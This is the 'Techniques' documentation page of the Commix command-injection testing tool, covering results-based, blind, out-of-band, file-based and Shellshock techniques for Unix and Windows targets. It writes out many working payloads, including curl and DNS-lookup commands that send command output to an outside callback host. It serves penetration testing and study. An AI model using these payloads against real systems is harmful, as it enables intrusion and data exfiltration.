-
-
Notifications
You must be signed in to change notification settings - Fork 941
Techniques
Commix is capable of detecting and exploiting a wide range of command injection vulnerabilities across various scenarios. These techniques are broadly categorized based on how command execution results are observed by the attacker.
| Type | Technique | Output Access | Speed | Requirements |
|---|---|---|---|---|
| Results-Based | Classic | Direct (in response) | Fast | Output must be reflected |
| Results-Based | Dynamic Code Evaluation | Direct (in response) | Fast | Output must be reflected |
| Results-Based | Shellshock Module | Direct (via env vars) | Fast | Bash-based CGI or similar setup |
| Blind | Time-Based | Indirect (via timing) | Slow | Delay observable in response time |
| Blind | Out-of-Band | Indirect (via own server) | Fast | Target able to reach out, over HTTP(S) or DNS |
| Semi-Blind | File-Based | Indirect (via file) | Moderate | Writable directory and file access |
Where the output file is written - the web server's document root or a temporary directory such as
/tmp - is a mechanism of the file-based technique, not a technique of its own. Both are reported
as File-based and both are selected with --technique=f.
Every technique works against both Unix-like and Windows targets. What changes is the payload:
cmd.exe chains commands on &, &&, | and || only, expands no arithmetic inside an argument,
prints quote characters literally, has no sleep and no comment character. Each section below ends
with what that means in practice, and the table at the bottom of this page summarises it.
In results-based command injection attacks, the response from the target application directly includes the output generated by the injected command. This immediate reflection of execution results makes these attacks the most straightforward to detect and verify, allowing attackers to receive instant feedback and iterate payloads rapidly. The visible output not only confirms successful injection but often reveals valuable system information, aiding further exploitation.
These techniques are particularly highly effective under the following conditions:
- The application echoes or displays command output verbatim within the HTTP response, providing a clear channel for feedback.
- There is little to no output filtering, sanitization, or encoding that could alter or obscure the injected command’s output, ensuring the attacker receives accurate data.
- The vulnerable injection point is embedded within a system command execution context, where user input is directly passed to shell commands or system calls without adequate validation or escaping.
Under these circumstances, results-based injections enable attackers to execute arbitrary commands with confidence and precision, making them a primary target during penetration testing and automated exploitation efforts.
The classic technique is the most common and direct method of exploiting command injection. It involves injecting malicious payloads using common shell metacharacters such as:
-
;(command separator) -
&&(execute next only if previous succeeds) -
||(execute next only if previous fails) -
|(pipe output from one command into another)
These operators allow the attacker to either chain commands after legitimate ones or bypass the original command altogether. When the output is reflected in the web response, the attacker can confirm successful execution immediately.
?id=1;id
?id=1&&whoami
?id=1|uname -aThe technique is the same on both, but the payload commix builds is not, because the output has to be recognised in the response. On a Unix-like target the marker and the command are echoed around each other in one command line:
test;echo TAG$((51+48))$(echo TAG)TAGcmd.exe expands no arithmetic inside an argument and its echo prints quote characters literally,
so on Windows the value is read out of a for /f loop and printed by set /p, which writes its
prompt without a trailing newline - the marker therefore arrives in one piece:
test&for /f "tokens=*" %i in ('cmd /c "set /a (51+48)"') do @set /p=TAG%iTAGTAG<nul&rem Command execution follows the same shape, with the command in place of the sum:
test&for /f "tokens=*" %i in ('cmd /c "whoami"') do @set /p=TAGTAG%iTAGTAG<nul&rem Only &, &&, | and || chain a command in cmd.exe. ;, a newline and Ctrl-Z do not, so those
separators are not tried against a Windows target at all - what they would produce is another
argument of the target's own command, not a command of ours.
The Dynamic Code Evaluation technique targets applications that unsafely execute user-supplied input by leveraging built-in language functions designed to evaluate or execute code strings at runtime. Common functions vulnerable to this abuse include eval(), assert(), exec(), and others that parse and run code dynamically within the application’s interpreter environment.
When user input is passed directly and unsafely to these functions without proper validation or sanitization, it allows attackers to inject and execute arbitrary code, leading to full control over the application’s runtime behavior. Unlike traditional command injection, which relies on shell metacharacters and external shell command execution, this technique operates within the language interpreter itself, often bypassing standard command parsing and escaping mechanisms.
Because the injected payload runs inline in the application’s process, typical shell-based delimiters (;, &&, |) are usually unnecessary, enabling more concise and stealthy injections. Additionally, this method can sometimes circumvent common filtering or sanitization techniques aimed at blocking shell metacharacters, making it especially dangerous.
This vulnerability is prevalent in dynamic languages such as PHP, Python, Ruby, and Perl, especially when developers inadvertently pass raw user input to code evaluation functions. The impact ranges from simple command execution to complete remote code execution (RCE), depending on the context and privileges of the vulnerable application.
<?php
$input = $_GET['cmd'];
eval($input); // Unsafe: Directly evaluates user input
?>Example Payloads
?cmd=system('id')
?cmd=echo shell_exec('uname -a')
?cmd=file_put_contents('/tmp/owned.txt','pwned')If the output generated by these dynamic evaluation functions is directly echoed or included in the application’s HTTP response, the attacker can immediately observe the results of their injected code execution. This direct feedback loop classifies the attack as a results-based technique, allowing the attacker to quickly verify successful exploitation and iteratively refine payloads for deeper system compromise.
This technique uniquely combines elements of both command injection and code injection. Instead of merely injecting shell commands, the attacker injects code that is executed within the application’s own runtime environment, granting access not only to system-level commands but also to the internal logic and state of the application. This deeper integration significantly increases the attacker’s potential control, enabling them to manipulate application behavior, access sensitive data, or escalate privileges.
The sink is the same - the application's own interpreter - but the commands inside it are the target shell's. On a Unix-like target the parts are chained inside one backtick expression, or concatenated as separate ones:
print(`echo TAG`.`echo $((51+48))`.`echo TAG`.`echo TAG`)On Windows they are chained with &, since a newline chains nothing in cmd.exe, and the value is
read out of a for /f loop so that it lands on a line of its own - set /a prints its answer
without one, and the marker either side of it has to stay separable:
print(`echo TAG&for /f "tokens=*" %i in ('cmd /c "set /a (51+48)"') do @echo %i&echo TAG&echo TAG`)Because a Windows target ends its lines with CRLF, commix reads the markers back with the line break counting as the single space it separates them by.
This technique blends command injection with aspects of code injection, and when exploited successfully, can offer the attacker significant control over the target system.
When successfully exploited, dynamic code evaluation vulnerabilities can provide attackers with a powerful foothold on the target system, often leading to remote code execution (RCE) and full compromise, depending on the environment’s configuration and security controls.
Unlike the techniques above, Shellshock is a module: it is reached through its own --shellshock
switch rather than --technique, and it injects through HTTP headers instead of a parameter. It is
described here because what it does with a confirmed injection point is results-based.
The well-known Shellshock vulnerability (CVE-2014-6271) affects the Bash shell used by many Unix-like systems.
Shellshock allows remote attackers to execute arbitrary commands by injecting malicious function definitions into environment variables. commix tests the three headers that most commonly reach a CGI environment:
CookieUser-AgentReferer
Each is tried with two payload shapes, CVE-2014-6271
and CVE-2014-6278, since a target
patched against one is not always patched against the other. -p restricts testing to a single
header.
When vulnerable CGI scripts or other Bash-executing services process these headers, the injected commands get executed.
User-Agent: () { :; }; /bin/bash -c 'id'This module can lead to unauthenticated remote command execution (RCE) and is especially dangerous in web server environments where Bash is exposed via CGI.
The module also works over the out-of-band channel: with --oob, execution is proven and commands
are run through an OAST interaction rather than the CGI response, which reaches targets whose output
is discarded or never rendered.
In blind command injection scenarios, the target server executes the injected commands, but does not include the output of those commands in the HTTP response. As a result, attackers receive no direct feedback or visible confirmation of successful execution. Instead, they must rely on indirect inference techniques, such as analyzing differences in response times, application behavior, or side effects caused by the injected commands. This lack of explicit output makes blind injections more challenging to exploit, often requiring creative and time-consuming methods to confirm and extract information from the target system.
This method involves injecting delay-inducing commands (e.g., sleep, timeout) and measuring the server's response time.
If the server response is significantly delayed, it indicates successful command execution. This technique is useful for:
- Evaluating
true/falseconditions - Extracting information bit-by-bit using conditional logic
- Bypassing output filtering or logging
Rather than a bare ; sleep 5, commix delays conditionally: it captures a value and multiplies the
delay by a comparison, so the response is delayed only when the comparison holds. That is what turns
a delay into a single bit of information.
test;RYU=$(echo SSJHFA);RYU1=${#RYU};sleep $((5*(6==$RYU1)))The comparison is evaluated inside shell arithmetic, so the payload needs no if/then/fi keywords and no operator beyond its own separator.
cmd.exe has neither sleep nor arithmetic it can compare inline, so the same idea is expressed with
the tools it does have: a value is read out of a for /f loop, compared by if, and the delay is a
ping that never reaches anywhere:
test&for /f "tokens=*" %i in ('cmd /c "echo TAG"') do cmd /c if %i == TAG ping -n 6 127.0.0.1 >nul&rem ping -n N 127.0.0.1 waits about N-1 seconds and is on every Windows, including the versions
without timeout; it also starts at once, where a PowerShell launch costs a second or two of its own
and varies from call to call - noise a timing measurement cannot afford.
The comparison runs through a cmd /c of its own. IF's comparison operators are a command
extension, and the shell that cmd.exe spawns for the right-hand side of a pipe starts without
extensions enabled - so on a payload chained with | or || the test would never run, no delay
would be asked for, and the separator would read as not injectable.
Two further details follow from cmd.exe's IF:
-
Lengths are compared with
GEQ, not==, so the length can be binary searched rather than walked. An equality test only ever answers the one candidate it is given. -
Characters are compared as numbers.
IFcompares strings by locale collation, whereM GEQ aholds, so the ordinal is worked out on the target -[int][char](...)in PowerShell - and the comparison is numeric.
Although slower due to its indirect nature, this technique is effective in highly restrictive environments where output channels are blocked or sanitized.
This method proves execution through a channel other than the HTTP response. The payload makes the target contact a server commix is listening on, and the interaction that arrives is the proof.
Nothing has to be reflected in the response and no delay has to be measured, so it reaches injection points that leave no trace at all - and unlike timing, it cannot be fooled by network jitter or a slow backend. Either the interaction arrived or it did not.
test;curl -s https://7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun/QOMDZR$((5422%2B4480))QOMDZRTwo things are being checked at once here.
The hostname carries a random token unique to this probe, so a whole boundary sweep can be sent first and resolved by a single poll afterwards, rather than waiting on each payload in turn.
The path carries a sum for the target to work out. An interaction on its own only proves that
something reached the server - a filtering appliance that fetches URLs it finds in a parameter would
produce the same signal, and re-verifying with a fresh token would not tell the two apart. A shell
that really ran the command sends back QOMDZR9902QOMDZR; anything replaying the URL verbatim sends
the expression instead. The marker around the result keeps it from being confused with a number
occurring elsewhere in the request.
The sum is written the way the target's shell can work it out. A Unix-like one expands it inside the argument, as above; cmd.exe expands no arithmetic there, so the sum is worked out first and the URL is built around the result:
test&for /f "tokens=*" %i in ('cmd /c "set /a 9851+5220"') do curl -s https://7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun/QOMDZR%iQOMDZR&rem PowerShell keeps the URL in single quotes, which cmd.exe passes through untouched, and concatenates the sum outside them - nothing is expanded inside a single-quoted PowerShell string.
Not every target has the same client, so commix tries them in turn. Both kinds of channel are tried on the boundary that works, and the one that carries output back whole is preferred:
| Client | Unix-like | Windows | Detects | Sends output back |
|---|---|---|---|---|
curl |
yes | yes, in System32 since Windows 10 1803 | yes | yes, byte for byte from stdin |
wget |
yes | no | yes | yes, though trailing newlines are lost and the size is bound by ARG_MAX
|
python |
yes | with --interpreter=python
|
yes | yes |
| name lookup | yes | yes | yes | yes, hex-encoded across DNS labels |
powershell |
no | yes | yes | yes |
certutil is deliberately absent: it blocks for over a minute per request, and a sweep of those
would tie up the target's worker pool.
The name lookup is what a target with no HTTP client at all still answers with, and it is often the
only thing an egress filter lets past. On Unix-like systems nslookup is part of an optional package,
so the payload falls through getent hosts, host and finally ping -c1, whichever of them exists;
on Windows nslookup is always there.
A DNS query carries no path, so the sum a payload asks the target to work out cannot travel with it.
A point confirmed that way therefore rests on the interaction alone - and commix names the channel a
finding came back over, e.g. out-of-band (over DNS) blind technique.
Where the shell chains nothing - ; on Windows, which cmd.exe reads as an argument separator - an
HTTP client of ours never runs, so only the name lookup is sent there. It can still betray the point
through the target's own command taking the payload as another argument, and commix keeps such a
finding while going on to look for a boundary that can actually be run through.
--oob-transport pins the client, and --oob-scheme the scheme its URL uses; see the Usage page.
Where the target has an HTTP client, command output returns over the same channel, in one request, byte for byte:
test;(id)|curl -s --data-binary @- https://7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun/Where only name resolution leaves the host, the output travels in the query names themselves. It
is hex-encoded (a DNS label holds letters, digits and hyphens only), cut into 60-character chunks,
and each chunk is asked for as <index>-<total>.<chunk>.<payload host>, so the pieces can be put
back in order and the last one is recognised as the last. A resolver is free to change the case of
what it forwards, which hex survives.
Like every other payload, this one uses only the separator under test. Where that separator ends a statement, the chunks go out from a loop, which knows how many there are and says so in every label:
test;VAR=$( (id)|od -An -v -tx1|tr -d ' \n');t=$(( (${#VAR} + 59) / 60 ));i=1;n=1;r(){ nslookup $1||getent hosts $1||host $1||ping -c1 $1;};while [ $i -le ${#VAR} ];do r $n-$t.$(echo $VAR|cut -c$i-$((i+59))).7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun;i=$((i+60));n=$((n+1));done #Where it does not - &, &&, |, || - there is no second statement to write, so the whole thing
is one pipeline instead: fold cuts the chunks, cat -n numbers them, and the tab it numbers with
becomes the label separator:
test&(id)|od -An -v -tx1|tr -d ' \n'|fold -w60|cat -n|tr -d ' '|tr '\t' '.'|xargs -I{} env H=7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun sh -c 'nslookup $0.$H||getent hosts $0.$H||host $0.$H||ping -c1 $0.$H' {} #The name travels through the environment and the chunk as an argument because a BSD xargs refuses
to build a replaced argument longer than 255 bytes, which the lookup chain alone exceeds. This form
carries no total, so the reading end waits out its window and reassembles what arrived.
On a Windows one, where PowerShell does the encoding and the loop:
test&powershell.exe -InputFormat none -Command $h=[BitConverter]::ToString([Text.Encoding]::UTF8.GetBytes(([string](cmd /c whoami)).Trim())).Replace('-','');$t=[int][Math]::Ceiling($h.Length/60);$i=0;while($i -lt $h.Length){$c=$h.Substring($i,[Math]::Min(60,$h.Length-$i));nslookup ([string]([int]($i/60)+1)+'-'+[string]$t+'.'+$c+'.7rnw6agt9u4zv3gncctpuei8nm3s5l7ub.oast.fun');$i+=60}&rem Either way this is the practical difference from the time-based technique, which spends several
requests per character and cannot preserve the original formatting - a short command's output comes
back in one or two requests, and --os-shell is usable over DNS alone.
The same channel confirms command injection, dynamic code evaluation sinks, and the Shellshock module, including blind variants where the classic detection has nothing to match on. It also backs the heuristic test: the results-based one reads its answer out of the response and is therefore blind to exactly the points this technique exists for.
The technique is opt-in, since by default it involves a public third-party server. See --oob and
--oob-server in the Usage page.
Semi-blind command injections represent a middle ground between classic results-based and blind injection techniques. In these scenarios, the command output is not directly returned in the HTTP response, but attackers find alternative ways to retrieve or infer the results.
This approach involves redirecting the output of injected commands to a file on the server’s filesystem. The attacker then attempts to access this file through the web server or other available means. This technique is effective when the application suppresses direct output but allows writing files to a location served by the web server.
; whoami > /var/www/html/output.txtIf the file is served by the web server, the attacker can retrieve it with:
http://target/output.txt
This technique bridges the gap between blind and classic injections and is useful when:
- Output is suppressed in the HTTP response
- Filesystem write access is available
- Static file retrieval is possible
Only the writing differs. A Unix-like target redirects, and the marker or the command output goes straight into the file under the web root:
test;echo TAG >/var/www/html/OUT.txt
test;whoami >/var/www/html/OUT.txtA Windows target writes with PowerShell's Set-Content, and redirects for command output:
test&powershell.exe Set-Content C:\inetpub\wwwroot\OUT.txt 'TAG'&rem
test&whoami >C:\inetpub\wwwroot\OUT.txt&rem The trailing &rem is there because these payloads end on a filename or a quoted literal, and an
application that appends anything of its own after the parameter - a closing quote, another argument
- would otherwise append it inside that filename. cmd.exe has no comment character, but
remignores whatever follows it. On a Unix-like target the same job is done by#.
When the web root (e.g., /var/www/) is not writable, the attacker can use temporary directories like:
/tmp/var/tmp
These directories are usually writable by the web server user (e.g., www-data), allowing attackers to store output there.
However, since these files may not be directly accessible via the web interface, the attacker can combine this method with a time-based readout to infer the contents.
- Write output to a random temp file:
; whoami > /tmp/X7s9o.txt- Check the output length via a time-based condition. Commix combines both steps into a single payload:
test;FIR=$(echo KEATOU >/tmp/KTMUXL.txt);FIR=$(cat /tmp/KTMUXL.txt);FIR1=${#FIR};sleep $((5*(6==${FIR1})))By adjusting the comparison and measuring delays, the contents are recovered character-by-character, even when the file cannot be accessed directly.
The file cannot be read a character at a time by a shell built-in, so the output is stored as one decimal per character and read back by number. One payload runs the command, writes the decimals, and asks whether the count has reached the length being searched for:
test&for /f "tokens=*" %i in ('cmd /c "powershell.exe -InputFormat none write-host ([int[]][char[]](([string](cmd /c whoami)).trim()))"') do powershell.exe Set-Content %temp%\OUT.txt '%i'&for /f "tokens=*" %i in ('cmd /c "powershell.exe -InputFormat none write-host ([string](Get-Content %temp%\OUT.txt)).trim().split([char]32).length"') do cmd /c if %i GEQ 12 ping -n 6 127.0.0.1 >nul&rem Each character is then read off the same line by position, and compared numerically:
test&for /f "tokens=*" %i in ('cmd /c "powershell.exe -InputFormat none write-host ([string](Get-Content %temp%\OUT.txt)).trim().split([char]32)[2]"') do cmd /c if %i GEQ 65 ping -n 6 127.0.0.1 >nul&rem Multi-line output is joined into one line first, so a single number describes its length however
many lines it came in, and the length and the characters counted off it always agree. The split is
written as [char]32 rather than " ", so no quote of its own has to survive cmd.exe's quote
handling.
Both the time-based and the temporary-directory file-based techniques recover output one character at a time through response delays. Because every character costs several requests, commix does not walk the candidate values one by one:
- The output length is found by binary search, between the minimum and maximum lengths, instead of being counted upwards.
- Each character is found by binary search over the candidate set, rather than by testing every value in it.
- The candidate set narrows as it goes. Once enough characters have been resolved, the observed set is reused for the remaining positions, with the full range kept as a fallback.
- The most frequent characters seen so far are probed directly first. A skewed output resolves many positions in a couple of requests, before any bisection is needed.
- Resolved values are re-verified. The length and each boundary decision are confirmed independently, so a single slow or noisy response cannot steer the result.
With --threads, several positions are resolved at the same time; each individual position is still
resolved serially. A position that never produces a delay is reported as missing rather than guessed,
and the number of such positions is stated alongside the retrieved output.
| Unix-like target | Windows target | |
|---|---|---|
| Separators tried |
; & && | || newline |
& && | || and the empty one - cmd.exe chains on nothing else |
| Marker printing | echo TAG |
for /f … do @set /p=TAG%i…<nul, which writes no trailing newline |
| Arithmetic in the payload |
$((a+b)) inline |
set /a, read out of a for /f loop |
| Delay |
sleep N, multiplied by the comparison |
cmd /c if %i == … then ping -n N 127.0.0.1 >nul
|
| Length comparison | [ n -le $len ] |
if %i GEQ n |
| Character comparison |
printf '%d' on the character |
[int][char] in PowerShell, compared numerically |
| Writing a file |
> redirection |
powershell.exe Set-Content, or > for command output |
| Stored output for a temporary file | the text itself, read with cut/awk
|
one decimal per character, read by position |
| Trailing junk from the application |
# ends the payload |
&rem ends the payload |
| Out-of-band clients |
curl, wget, python, name lookup |
curl.exe, name lookup, powershell
|
| Out-of-band output | request body, or DNS labels | the same, with PowerShell doing the encoding |
| Alternative interpreter |
--interpreter=python uses python3
|
uses python.exe, path configurable |
At the right side panel, you can find detailed information about Commix Project.
- Usage - Exhaustive breakdown of all options and switches together with examples
- Techniques - Techniques supported by commix
- Download and update - Keep it up-to-date
- Module development - Comprehensive guide for extending commix by developing custom modules
- Third party libraries - Breakdown of third-party components utilized in commix
- License - Copyright information
- Usage examples - Real-world examples of using commix across vulnerable applications
- Filters bypass examples - Payloads and techniques used to evade input filters
- Getting shells - Examples of using commix to gain shell
- Presentations - Conference talks, demos, and public presentations where commix has been featured or discussed.
- Screenshots - Visual examples of commix in action
- Third party references - References to commix in books, articles, research papers, blog posts, etc
- Command injection testbeds - A curated list of intentionally vulnerable web applications and platforms for safely testing commix